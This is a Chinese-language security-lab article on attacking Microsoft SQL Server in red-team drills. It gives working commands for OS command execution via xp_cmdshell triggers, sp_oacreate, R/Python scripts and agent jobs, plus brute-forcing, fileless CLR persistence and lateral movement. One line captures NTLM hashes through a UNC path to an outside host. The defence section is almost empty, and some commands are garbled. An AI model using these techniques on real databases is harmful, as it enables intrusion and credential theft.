一年一度的网络安全建设成果检验即将开始,在网络安全实战攻防演练这场最关键的战役中,办公应用系统、Web中间件,数据库等是攻击方主要的攻击对象,由于使用量最大,数据库往往会成为攻击者的首选目标之一。
以微软SQL Server为例,除了常见的SQL注入漏洞,攻击方还会用一些“出其不意”的招式,将SQL Server原本的优势转变为攻击的突破口,比如在相应的权限下,攻击者可以利用SQL Server强大的存储过程执行不同的高级功能,通过增加SQL Server数据库用户,权限维持等方式,攻击用户数据库系统,下文将详述攻击方那些“不常见”的数据库攻击手段以及防守方的应对思路。
文章目录
一、SQL Server概述
1、客户端/服务器数据库系统
2、TDS协议
二、这些“突破口”,可能会被攻击方利用
1、SQL Server危险的存储过程
2、SQL Server触发器
3、SQL Server COM组件
4、SQL Server CLR相关利用
5、SQL Server R和Python的利用
6、SQL Server代理执行计划任务
三、攻击方实战思路分析
1、SQL Server实例发现
2、SQL Server口令爆破
3、SQL Server权限提升
4、SQL Server权限维持
5、SQL Server横向移动
四、防守方如何应对
1、账号管理
2、认证授权
3、配置日志审计
4、配置网络通信协议
5、删除不必要的存储过程
6、删除不必要的功能和服务
7、安装补丁

SQL Server是Microsoft开发的关系数据库管理系统(RDBMS)。它是市场上最受欢迎的DBMS之一。SQL Server具有极其广泛的用途,它可以在各个方面使用,小到存储个人博客的内容到大到存储客户数据。
版本 | 描述 |
Enterprise Edition | 此版本仅在Windows Server操作系统上运行。适用于对速度和可用性具有较高优先级的大型生产数据库服务器。提供复制和联机分析过程(OLAP)服务等功能,这些服务可能会增加其安全风险。 |
Standard Edition | 该版本与Enterprise Edition相似,但缺少虚拟接口系统局域网(VI SAN)支持和某些高级OLAP功能。 |
Personal Edition | 它旨在用于工作站和便携式计算机,而不是服务器。其设计最多支持五个数据库用户。 |
Developer Edition | 面向开发人员版本,它与Enterprise Edition具有相似的功能,但并不意味着可以在真实的生产环境中运行。 |

客户端/服务器数据库系统
SQL Server是一个客户端/服务器数据库管理系统(DBMS)。这允许有许多不同的客户端同时,全部连接到SQL Server。这些客户端的每一个都可以通过不同的工具进行连接。
例如,一个客户端可能使用如SQL Server Management Studio(SSMS)之类的图形工具,而另一客户端可能使用诸如sqlcmd之类的命令行工具。同时,网站也可以从Web应用程序连接到SQL Server。并且可能有许多其他客户端都使用自己的工具出于自己的目的进行连接。
客户端/服务器DBMS的主要优点是多个用户可以同时访问它,每个用户都有特定的访问级别。如果数据库管理员配置对应的权限,则任何连接到SQL Server的客户端将只能访问他们被允许访问的数据库。他们只能执行允许执行的任务。所有这些都从SQL Server本身内部进行控制。
SQL Server是在服务帐户的上下文中在操作系统上运行的一组Windows服务。每次安装SQL Server实例时,实际上都会安装一组Windows服务并具有唯一的名称。现有的SQL Server帐户类型:
● Windows帐户。
● SQL Server登录名(SQL Server内部)。
● 数据库用户(SQL Server内部)。
Windows帐户和SQL Server登录名用于登录SQL Server。除非系统管理员,否则必须将SQL Server登录名映射到数据库用户才能访问数据。数据库用户是在数据库级别内单独创建的。
SQL Server的常见角色是:
● Sysadmin角色:SQL Server管理员。
● Public角色:最低特权,类似于Windows中的everyone组。
● 更多请参考:
https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2017

TDS协议
表格数据流(Tabular Data Stream, TDS)协议是一种数据库服务器和客户端间交互的应用层协议,为微软SQL Server数据库和Sybase公司数据库产品所采用。
TDS Version | Supported Products |
4.2 | Sybase SQL Server < 10 and Microsoft SQL Server 6.5 |
5.0 | Sybase SQL Server >= 10 |
7.0 | Microsoft SQL Server 7.0 |
7.1 | Microsoft SQL Server 2000 |
7.2 | Microsoft SQL Server 2005 |
详细的协议结构分析,请参考:
http://freetds.cvs.sourceforge.net/checkout/freetds/freetds/doc/tds.html

下面先简单介绍SQL Server一些常用的攻击面的利用方式。

SQL Server危险的存储过程
(1)xp_cmdshell
(2)xp_regread
(3)xp_fileexist
(4)xp_getnetname
获取服务器名称
exec xp_getnetname

(5)xp_msver
获取服务器信息
exec xp_msver

(6)xp_fixeddrives

SQL Server 触发器
SQL Server 触发器用于执行指定动作之后执行sql语句,比如配合update触发sql语句。
首先创建一个test表,插入字段值。


创建一个名为test1的触发器,当test表执行update动作时,触发test1执行xp_cmdshell命令。
set ANSI_NULLS on
go
set QUOTED_IDENTIFIER on
go
create trigger [test1]
on [test]
AFTER UPDATE as
begin
execute master..xp_cmdshell 'cmd.exe c calc.exe'
end
go

执行下列更新test表操作,test1触发器触发。
UPDATE test SET name = 'wangwu' WHERE LastName = 'zhangsan'


SQL Server COM组件
(1)查看SP_OACREATE状态。
(2)启用SP_OACREATE
利用sp_configure存储过程,启用SP_OACREATE
exec sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;
exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;

(3)利用SP_OACREATE执行命令
利用SP_OACREATE执行系统命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe c whoami all >C:\\test\test.txt'


SQL Server CLR相关利用
CLR微软官方把他称为公共语言运行时,从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。
官方链接:
https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/common-language-runtime-clr-integration-programming-concepts?view=sql-server-ver15
在利用MSSQL服务实现命令执行的时候,通常的做法是利用xp_cmdshell存储过程在MSSQL进程的上下文中运行操作系统命令。如果要想利用这种技术运行自定义代码,通常需要使用LOLBINS,添加新的操作系统用户,或通过BCP向磁盘中写入二进制文件,这些方法的缺点是很容易被发现。CLR方式可以利用16进制文件流方式导入DLL文件,这样不需要文件落地。
(1)创建CLR
(2)利用SQL语句导入程序
(3)利用CLR执行命令
exec dbo.ExecCommand "whoami all";

(4)WarSQLKit
WarSQLKit是一个针对MSSQL CLR进行利用的工具,有以下两个版本。
● WarSQLKit是完全版本,内置多种功能。
● WarSQLKitMinimal是简化版,只能执行命令。
https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
(5)导入WarSQLKit DLL文件
(6)WarSQLKit 执行命令

SQL Server R和Python的利用
SQL Server 2017加入了Microsoft机器学习服务,该服务允许通过SQL Server中sp_execute_external_script执行Python和R脚本
利用条件:
● Machine Learning Services必须要在Python安装过程中选择
● 必须启用外部脚本
EXEC sp_configure 'external scripts enabled', 1
RECONFIGURE WITH OVERRIDE
重新启动数据库服务器
● 用户拥有执行任何外部脚本权限
(1)R脚本利用
利用R执行命令:
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe
/c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
利用R抓取Net-NTLM哈希:
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
(2)Python脚本利用
Python :
exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))
执行命令:
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

SQL Server代理执行计划任务
SQL Server代理是一项Microsoft Windows服务,它执行计划的管理任务。
首先启动SQL Server代理服务。

执行计划任务。
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe c whoami all >c:\\123.txt', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';


第二章简单介绍了SQL Server中常见的一写利用点,接下来介绍这些利用面在各个攻击阶段中的应用和一些思路。

SQL Server实例发现
SQL Server的实例发现,本地实例主要是通过检查系统服务和注册表方式。远程实例可以通过扫描TDS监听服务、UDP广播、SPN服务等方式。
常见的几种实例发现工具:
● osql
osql -L

● sqlcmd
sqlcmd -L

● PowerUpSQL
import-module .\PowerUPSQL.psd1 //加载模块

Get-SQLInstanceBroadcast //SQL Server实例发现

● SQLPing3
● Metasploit mssql_ping module
● Nmap
● Nessus
……
(1)本地实例发现
(2)远程实例发现
Get-SQLInstanceBroadcast -Verbose //UDP广播Ping
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1 //UDP端口扫描
Get-SQLInstanceFile -FilePath c:\temp\computers.txt | Get-SQLInstanceScanUDPThreaded -Verbose //从文件获取实例列表

(3)域内实例发现
域内实例主要利用SPN扫描发现实例,先简单介绍一下什么是SPN服务。
(4)SPN服务
Windows 域环境是基于活动目录(Active Directory)服务工作的。为了在域环境中有效地对资源访问权限进行精细控制,提高网络环境的安全性和方便网络资源统一分配管理。系统给域内每种资源分配了不同的服务主体名称(Service Principal Name, SPN)。使用Kerberos协议进行身份验证的域环境中,本地账号SPN将自动注册,但是,域内用户账号下运行的服务,必须为此域内账户手动注册。

SQL Server口令爆破
连接测试,两种功能均可用于测试。
Get-SQLConnectionTestThreaded
Invoke-SQLAuditWeakLoginPw

● 爆破必须的几个条件:
● 常见的弱密码
● 当前的本地用户访问权限
● 当前域用户访问权限
● 备用域用户访问权限
使用msf来执行爆破
use auxiliary/scanner/mssql/mssql_login

PowerUpSQL其他获取账户相关命令:
描述 | 命令 |
获取可用提供的SQL Server登录名登录的域SQL Server列表。 | $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username testuser -password testpass | Where-Object {$_.Status -like "Accessible"} $Targets |
获取可以使用当前域帐户登录的域SQL服务器的列表。 | $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"} $Targets |
获取可以使用备用域帐户登录的域SQL服务器的列表。 | runas noprofile netonly user:domain\user PowerShell.exeGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 |
获取可以使用非域系统中的备用域帐户登录的域SQL服务器的列表。 | runas noprofile netonly user:domain\user PowerShell.exeGet-SQLInstanceDomain -Verbose -Username 'domain\user' -Password 'MyPassword!' -DomainController 10.1.1.1 | Get-SQLConnectionTestThreaded -Verbose -Threads 15 |
发现域SQL Server,并根据实例名称确定它们是否配置有普通应用程序使用的默认密码。 | Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose |

SQL Server权限提升
权限提升基本的一个思路:

域用户可以到处登录的前置条件。
● 添加了域用户
● 已添加本地用户
● 特权继承
获得Sysadmin权限的一些利用点:

(1)获得低权限账号
(2)使用本地或域用户账号
尝试使用当前帐户登录到SQL Server。过多的登录特权是常见的配置。
import-module .\PowerUpSQL.psd1
Get-SQLInstanceDomain | Get-SQLConnectionTest
Get-SQLInstanceLocal | Get-SQLConnectionTest
(3)从Public到Sysadmin
猜测弱密码获得高权限角色账号,一般需要以下两步:
● 枚举登录名
● 猜测密码
(4)利用Public获得更多权限
在具有对SQL Server的Public权限账号的上下文中,最常用的获取执行权限的方法是:
● 特权模拟
● 存储过程和触发器创建/注入
● 写入存储过程的自动执行
● SQL Server代理任务
● xp_cmdshell
● 创建数据库链接到文件或服务器
● 导入/安装自定义CLR程序集
● 临时查询
● 共享服务帐户
● 数据库链接
● UNC路径注入
● Python/R脚本执行。
以上大部分内容在SQL Server常用攻击面已经介绍,不再赘述,下面简单介绍一下未提的方法。
(5)从系统管理员到Sysadmin
首先先了解三个点:
● SQL Server较旧的版本为本地管理员提供sysadmin特权
● SQL Server较旧漏洞的版本为本地系统提供sysadmin特权
● SQL Server所有版本都为SQL Server服务帐户提供sysadmin特权

SQL Server权限维持
利用SQL Server设置权限维持方法,主要还是靠SQL Server代理作业,定期执行计划任务。为了实现无文件攻击,还利用CLR程序集功能,加载恶意DLL文件。通过这两种内置功能进行持久化,实现了在无文件落地、无其他进程的情况下,实施权限维持。
此持久化有几个前提条件:
● 启动SQL Server代理服务
● 开启CLR功能
● 将存储.Net程序集的数据库配置为可信赖的
以上均在SQL Server代理执行计划任务和SQL Server CLR相关利用详细介绍。
(1)高隐蔽性持久化
连接SQL Server数据库后,创建SQL Server代理作业,定时执行SQL语句调用恶意的用户自定义存储过程或函数利用SQL语句将CLR程序集以十六进制形式加载加载进数据库,实现通过用户自定义函数调用恶意的CLR程序集。已创建的SQL Server代理作业,定期执行计划任务,调用CLR程序集,实现无文件持久化。
(2)其他方式实现持久化
除了正常利用SQL Server可以执行系统命令的存储过程,以下操作都是作为SQL对象存储在数据库中,并且没有任何更改到磁盘,也可以做到无文件持久化。

SQL Server横向移动
(1)Kerberoast攻击
利用传统的Kerberoast攻击方式进行横向移动,Kerberoast是一种针对Kerberos协议的攻击方式。根据Kerberos协议,当向活动目录完成身份验证后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户,作为访问资源时的身份凭证。当需要访问资源,向票据服务器(TGS)发送Kerberos票据时,首先需要使用具有有效身份用户的票据(TGT)向票据服务器(TGS)请求乡音的服务票据。当该票据(TGT)被验证具有此服务的权限是,会向用户发送一张新的票据。新的票据使用SPN关联的计算机中的服务账号的NTLM Hash。攻击者可以尝试不同的NTLM Hash来开启Kerberos票据。NTLM Hash对应的是服务账号的密码。
实施此攻击前有几个前提条件:
● 域内用户运行的SQL Server已经手动注册过SPN
● Kerberos协议加密方式为RC4_HMAC_MD5
通过SQL Server能执行PowerShell命令的利用点和导入特定功能的CLR程序集即可完成Kerberoast攻击。
(2)CLR实现无文件落地横向移动
David Cash在MSSQL Lateral Movement介绍了SQL Server中使用CLR自动执行横向移动而无文件落地和不需要xp_cmdshell,以及如何防止被检测到。
CLR相关的介绍在上文已经介绍,在此不再赘述。通常为实现命令执行而对MSSQL服务进行后期开发通常会利用XP_CMDSHELL存储过程在MSSQL进程的上下文中运行操作系统命令。要使用此技术运行自定义代码,通常需要使用LOLBINS,添加新的操作系统用户或通过BCP写入磁盘的二进制文件,这提供了明显的检测机会。
SQL Server服务进程可以执行提供给它的任何.NET代码,因此利用.NET代码进行横向移动,仅需要构建适当的DLL。作为概念的证明,为了生成了一个简单的程序集,该程序集对一些shellcode进行XOR并将其注入到生成的进程中。使用Squeak可以简化CLR代码的创建和调用,下面是Squeak具备的一些功能:
● 展示连接数据
● 从原始二进制文件和单字节XOR读取shellcode字节
● 生成一个MSSQL CLR DLL,该DLL对shellcode进行XOR,生成一个新进程,然后将shellcode注入其中。
● 计算DLL的SHA512哈希
● 生成带有硬编码参数的单个.NET可执行文件,以通过SQL连接执行DLL –该可执行文件执行以下操作:
创建一个SQL连接
检查SQL Server版本
检查DBA权限
检查并记录现有的安全设置
修改安全设置
创建并运行程序集
恢复安全设置并删除程序集
使用Squeak可以生成带有连接字符串和CLR程序集的独立可执行文件。CLR程序集的代码是从本地目录中的文件中加载,可以直接打开文件,也可以在工具中对其进行编辑。
(3)UNC路径注入
UNC用于访问远程文件服务器,格式为\ip\file,如果我们可以执行这个功能,则可以强制SQL Server向我们进行身份验证,并且可以获得SQL Server服务帐号的NTLM密码哈希。


账号管理

认证授权

配置日志审计

配置网络通信协议


删除不必要的功能和服务

安装补丁
最后的步骤是确保应用最新的服务包和补丁程序。将显示SQL Server的当前版本。
select @@version


https://www.quackit.com/sql_server/tutorial/sql_server_dts.cfm
http://www.freetds.org/
http://freetds.cvs.sourceforge.net/checkout/freetds/freetds/doc/tds.html
https://research.nccgroup.com/2021/01/21/mssql-lateral-movement/
https://xz.aliyun.com/t/7534
https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration
https://h4ms1k.github.io/Red_Team_MSSQL_Server/#
https://security.tencent.com/index.php/blog/msg/154
https://www.freebuf.com/articles/es/262903.html
https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.kerberosrequestorsecuritytoken?view=netframework-4.8
https://github.com/nidem/kerberoast
https://github.com/gentilkiwi/mimikatz
https://github.com/nccgroup/nccfsas

深信服千里目安全实验室
深信服科技旗下安全实验室,致力于网络安全攻防技术的研究和积累,深度洞察未知网络安全威胁,解读前沿安全技术。

点击“阅读原文”下载文章pdf